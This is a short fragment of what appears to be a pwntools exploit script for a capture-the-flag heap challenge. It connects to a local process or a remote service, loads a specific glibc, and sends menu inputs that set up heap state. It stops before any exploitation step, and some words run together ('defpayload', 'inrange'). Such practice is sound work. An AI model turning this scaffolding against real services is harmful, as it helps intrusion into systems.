defpayload(lo:int): global sh if lo: sh = process(EXE) if lo & 2: gdb.attach(sh) else: sh = remote('10.103.5.4', 8888) libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.31-0ubuntu9.15_amd64/libc.so.6') elf = ELF(EXE)
sh.sendlineafter(b'$', b'Init') sh.sendlineafter(b'Size', str(0x40).encode()) for i inrange(0x40): sh.sendlineafter(b'char', b'|') sh.sendlineafter(b'weight', b'1')